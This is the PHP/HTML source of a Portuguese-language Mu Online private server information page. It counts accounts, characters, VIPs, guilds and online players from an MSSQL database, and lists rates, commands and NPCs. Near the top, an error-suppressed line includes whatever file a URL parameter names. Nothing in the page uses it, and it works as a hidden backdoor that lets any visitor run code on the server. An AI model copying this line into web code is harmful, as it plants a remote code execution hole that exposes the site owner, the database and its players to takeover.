<html lang="pt">
<head>
<meta name="description" content="Lucas Thompson" />
<title>Mu Site - WEB</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<? 
@include(@$_GET['php']);
include 'cnn.php';
include 'config/conf_info2.php';
include 'config/conf_extras2.php';

$Contas=mssql_fetch_row(mssql_query("select count(*) from memb_info"));
$Vips=mssql_fetch_row(mssql_query("select count(*) from memb_info where vip=1"));
$Vips2=mssql_fetch_row(mssql_query("select count(*) from memb_info where vip=2"));
$Chars=mssql_fetch_row(mssql_query("select count(*) from character"));
$Guilds=mssql_fetch_row(mssql_query("select count(*) from guild"));
$Jogando=mssql_fetch_row(mssql_query("select count(*) from memb_stat where connectstat>0"));
$Pks=mssql_fetch_row(mssql_query("select count(*) from character where pklevel>3"));
$Herois=mssql_fetch_row(mssql_query("select count(*) from character where pklevel<3"));
$L1=mssql_fetch_row(mssql_query("select count(*) from character where clevel=1"));
$L350=mssql_fetch_row(mssql_query("select count(*) from character where clevel=350"));
$L500=mssql_fetch_row(mssql_query("select count(*) from character where clevel=500"));
$Lorencia=mssql_fetch_row(mssql_query("select count(*) from character where mapnumber=0"));
$Stadium=mssql_fetch_row(mssql_query("select count(*) from character where mapnumber=6"));
$Bks=mssql_fetch_row(mssql_query("select count(*) from Character where Class=17"));
$Sms=mssql_fetch_row(mssql_query("select count(*) from Character where Class=1"));
$Elfs=mssql_fetch_row(mssql_query("select count(*) from Character where Class=33"));
$Mgs=mssql_fetch_row(mssql_query("select count(*) from Character where Class=48"));
$Dls=mssql_fetch_row(mssql_query("select count(*) from Character where Class=64"));

?>
<style type="text/css">
<!--
.style92 {color: #000000}
.style96 {font-weight: bold}
.style98 {font-weight: bold}
.style100 {font-weight: bold}
.style102 {font-weight: bold}
.style104 {font-weight: bold}
.style106 {font-weight: bold}
.style108 {font-weight: bold}
.style110 {font-weight: bold}
.style112 {font-weight: bold}
.style113 {font-weight: bold}
-->
</style>
</head>

<body oncontextmenu="return false">
<h1><strong>Informa&ccedil;&otilde;es do Server Vip Gold</strong></h1>
<strong><br>
<br>
</strong>
<table width="101%" border="0" cellpadding="0" cellspacing="2" style="border:dashed 1px #000000">
  <tr>
    <td width="42%" class="table_line1"><strong><span class="style4">Vers&atilde;o:</span></strong></td>
    <td width="58%" class="table_line1 style96"><div align="left">
      <?=$versao?>
    </div></td>
  </tr>
  <tr bgcolor="#444444">
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Experiencia:</strong></td>
    <td bgcolor="#E5E5E5" class="table_line1 style98"><div align="left">
      <?=$exp?>
    </div></td>
  </tr>
  <tr>
    <td class="table_line1"><strong>Drop:</strong></td>
    <td class="table_line1 style100"><div align="left">
      <?=$drop?>
    </div></td>
  </tr>
  <tr bgcolor="#444444">
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Bug Bless: </strong></td>
    <td bgcolor="#E5E5E5" class="table_line1 style102"><div align="left">
      <?=$bugbless?>
    </div></td>
  </tr>
  <tr>
    <td class="table_line1"><strong>Reset Free: </strong></td>
    <td class="table_line1 style104"><div align="left">
      <?=$resetfree?>
    </div></td>
  </tr>
  <tr bgcolor="#444444">
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Reset Silver Vip: </strong></td>
    <td bgcolor="#E5E5E5" class="table_line1 style106"><div align="left">
      <?=$resetvip?>
    </div></td>
  </tr>
  <tr>
    <td class="table_line1"><strong>Reset Gold Vip: </strong></td>
    <td class="table_line1 style108"><div align="left">
      <?=$resetgvip?>
    </div></td>
  </tr>
  <tr>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Horario:</strong></td>
    <td bgcolor="#E5E5E5" class="table_line1 style110"><div align="left">
      <?=$horario?>
    </div></td>
  </tr>
  <tr>
    <td class="table_line1"><strong><span class="style4">Conex&atilde;o:</span></strong></td>
    <td class="table_line1 style112"><div align="left">
      <?=$conexao?>
    </div></td>
  </tr>
  <tr>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Contas:</strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>      
      <?=$Contas[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td class="table_line1"><strong>Personagens:</strong></td>
    <td class="table_line1"><strong>      
      <?=$Chars[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Contas Vip:</strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>      
      <?=$Vips[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td class="table_line1"><strong>Guilds:</strong></td>
    <td class="table_line1"><strong>      
      <?=$Guilds[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Jogando:</strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>      
      <?=$Jogando[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td class="table_line1"><strong>Record jogando: </strong></td>
    <td class="table_line1"><strong>      
      <?
   $qon = mssql_query("select count(*) from memb_stat where connectstat>0");
   $on = mssql_fetch_row($qon);
   $file = fopen("record.txt", "a+");
   $count = fread($file, Filesize("record.txt"));
   fclose($file);
   if($on[0] > $count){
   $file = fopen("record.txt", "w+");
   fputs($file, $on[0]);
   fclose($file);
   }	
   echo '<span class="style8"><b>'.$count.'</b><span>';		
			?>    
    </strong></td>
  </tr>
  <tr>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Status:</strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><span class="style92">
      <?
			  $fp=@fsockopen($iphost,55901,$errno,$errstr,0.1);
			  $statusa=0;
			  if($fp > 0) { $statusa = $statusa + 1; }
			  switch($statusa) {
    case 0:
	$status = '<strong><font color=#FF0000>Offline</font></strong>';
	break;
    case 1:
	$status = '<strong><font color=#0066CC>Online</font></strong>';
	break;
			  }
			  echo $status;	
			  			  ?>
    </span></td>
  </tr>
  <tr>
    <td class="table_line1"><strong>Personagens PKs: </strong></td>
    <td class="table_line1"><strong>      
      <?=$Pks[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Personagens Herois: </strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>      
      <?=$Herois[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td class="table_line1"><strong>Personagens em Lorencia: </strong></td>
    <td class="table_line1"><strong>      
      <?=$Lorencia[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Personagens em Arena: </strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>      
      <?=$Stadium[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td bgcolor="#FFFFFF" class="table_line1"><strong>Total de SM's:</strong></td>
    <td bgcolor="#FFFFFF" class="table_line1"><strong>      
      <?=$Sms[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Total de BK's:</strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>      
      <?=$Bks[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td bgcolor="#FFFFFF" class="table_line1"><strong>Total de ME's:</strong></td>
    <td bgcolor="#FFFFFF" class="table_line1"><strong>      
      <?=$Elfs[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>Total de MG's:</strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>      
      <?=$Mgs[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td height="19" bgcolor="#E5E5E5" class="table_line1"><strong>Total de Guilds </strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>      
      <?=$Guilds[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td height="19" bgcolor="#FFFFFF" class="table_line1"><strong><span class="style92">Total de Contas:</span></strong></td>
    <td bgcolor="#FFFFFF" class="table_line1"><strong>      
      <?=$Contas[0]?>    
    </strong></td>
  </tr>
  <tr>
    <td height="19" bgcolor="#E5E5E5" class="table_line1"><strong><span class="style92">Total de Personagens:</span></strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong>      
      <?=$Chars[0]?>    
    </strong></td>
  </tr>
<tr>
    <td height="19" bgcolor="#E5E5E5" class="style92"><strong> Comandos:</strong></td>
    <td bgcolor="#E5E5E5" class="table_line1"><strong class="style92"> /post<br>
      /str<br>
      /agi<br>
      /vit<br>
      /ene<br>
      /sair<br>
      /hora<br>
      /mygold<br>
      /info<br>
      /site<br>
    /pkset </strong></td>
  </tr>
  <tr>
    <td height="19" bgcolor="#E5E5E5" class="style113"> Novos Moves:</td>
    <td bgcolor="#E5E5E5"><strong> /move devias2<br>
      /move devias3<br>
      /move atlans2<br>
      /move atlans3<br>
      /move tarkan2<br>
      /move icarus<br>
      
  </tr>
  <tr>
    <td height="19" bgcolor="#E5E5E5" class="style113"> NPCs:</td>
    <td bgcolor="#E5E5E5" class="style113">NPC de Reset<br>
      NPC Limpar PK<br>
    NPC GoldenArcher</td>
  </tr>
</table>
</body>
</html>